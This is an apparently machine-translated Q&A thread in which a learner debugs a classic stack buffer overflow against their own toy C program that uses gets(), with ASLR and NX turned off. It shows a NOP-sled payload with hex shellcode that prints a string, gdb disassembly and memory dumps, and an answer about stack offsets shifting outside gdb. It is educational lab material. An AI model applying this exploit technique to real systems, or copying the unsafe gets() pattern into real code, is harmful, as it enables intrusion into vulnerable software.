2013-10-31 69 views
1

几天前我编写了一个简单的代码来测试x86系统上的缓冲区溢出漏洞。为了保持简单,我禁用了ASLR和NX,所以没有任何保护措施可能导致怪异的行为。利用缓冲区溢出的问题

这是我的C代码才能利用:

#include <stdio.h> 

void read_txt(){ 
     char txt[64]; 
     printf("Write something:"); 
     gets(txt); 
} 


int main(){ 
    read_txt(); 
    return 0; 
} 

我也写了我自己的shellcode,只是打印字符串。据我所知有效载荷应该是这样的,用NOP指令+ shellcode填充缓冲区,添加0x41414141(AAAA)来覆盖EBP寄存器,最后我用地址指向NOP中间的地址覆盖返回地址。

其实它并没有以这种方式工作,我的有效载荷如下:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf] 

1- NOPs + Shellcode = 60bytes 
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work) 
3- Address to override EBP (In the middle of NOPs) 
4- Overrides Return Address 

此漏洞在gdb的作品,但如果我直接传递载荷到该计划失败,我觉得现在的问题是在程序执行之前获取()函数disasembler显示离开指令指向ebp并导致错误。

这是read_txt的拆装()函数:

0x0804844c <+0>: push %ebp 
    0x0804844d <+1>: mov %esp,%ebp 
    0x0804844f <+3>: sub $0x44,%esp 
    0x08048452 <+6>: movl $0x8048510,(%esp) 
    0x08048459 <+13>: call 0x8048320 <[email protected]> 
    0x0804845e <+18>: lea -0x40(%ebp),%eax 
    0x08048461 <+21>: mov %eax,(%esp) 
    0x08048464 <+24>: call 0x8048330 <[email protected]> 
    0x08048469 <+29>: leave 
    0x0804846a <+30>: ret  

而且这是在利用上GDB的执行:

(gdb) x/20x $esp 
0xbffff47c: 0xbffff480 0x90909090 0x90909090 0x90909090 
0xbffff48c: 0x90909090 0xc0319090 0xc931db31 0x04b0d231 
0xbffff49c: 0x206801b3 0x6820293b 0x63657368 0x69482068 
0xbffff4ac: 0x6f486867 0xe189616c 0x80cd0fb2 0xdb3101b0 
0xbffff4bc: 0x41414141 0xbffff489 0xbffff489 0xbffff500 
(gdb) s 
Warning: 
Cannot insert breakpoint 0. 
Error accessing memory address 0x90909090: I/O Error. 

0xbffff489 in ??() 
(gdb) c 
Continuing. 
Shellcode Executed 
Program received signal SIGSEGV, Segmentation fault. 
0xbffff4b9 in ??() 
(gdb) 

注意EBP指向0x90909090,因为它具有相同的地址覆盖返回地址,并且还注意到字符串Shellcode Executed这是包含在有效负载中的shellcode。

我的问题是,我可以在哪里指出EBP避免此问题,然后将返回地址指向NOP幻灯片?另外作为第二个问题,为什么我不能用NOPs + Shellcode填充64字节缓冲区?

问候。

+0

你为什么要添加AAAA人?你需要一个你以某种方式获得的有效回报地址。要做到这一点,请检查旧粉碎堆栈的乐趣和再次获利:或者,因为您似乎已经阅读了开发的艺术,相关部分。 – gnometorule

+0

我的缓冲区应该是64字节,但它实际上有60字节,所以4 A是填充我补充到达ebp。 – Nucklear

+0

“如果NOP + Shellcode填充了64字节它不起作用”当你有NOP和shellcode达到64B时,究竟发生了什么,特别是你选择了'AAAA'的原因是什么?另外,你在这里期待的行为是什么?你想控制该程序吗?或者只是做一些事情并继续执行其余的部分? – user3155701

回答

0

我知道这是2年后,即使我面临同样的问题,我的有效载荷在gdb中正常工作,但它直接运行时失败。 原因是当你通过GDB运行你的程序时,会创建两个环境变量,这些变量又会在内存中创建一个偏移量。 因此,如果你的返回地址[通过使用GDB获得]是RET然后当直接执行它的返回地址是RET +偏移量它应该工作正常。

或者同时通过GDB运行它可以防止环境变量被推到堆栈 希望这有助于为面临同样的问题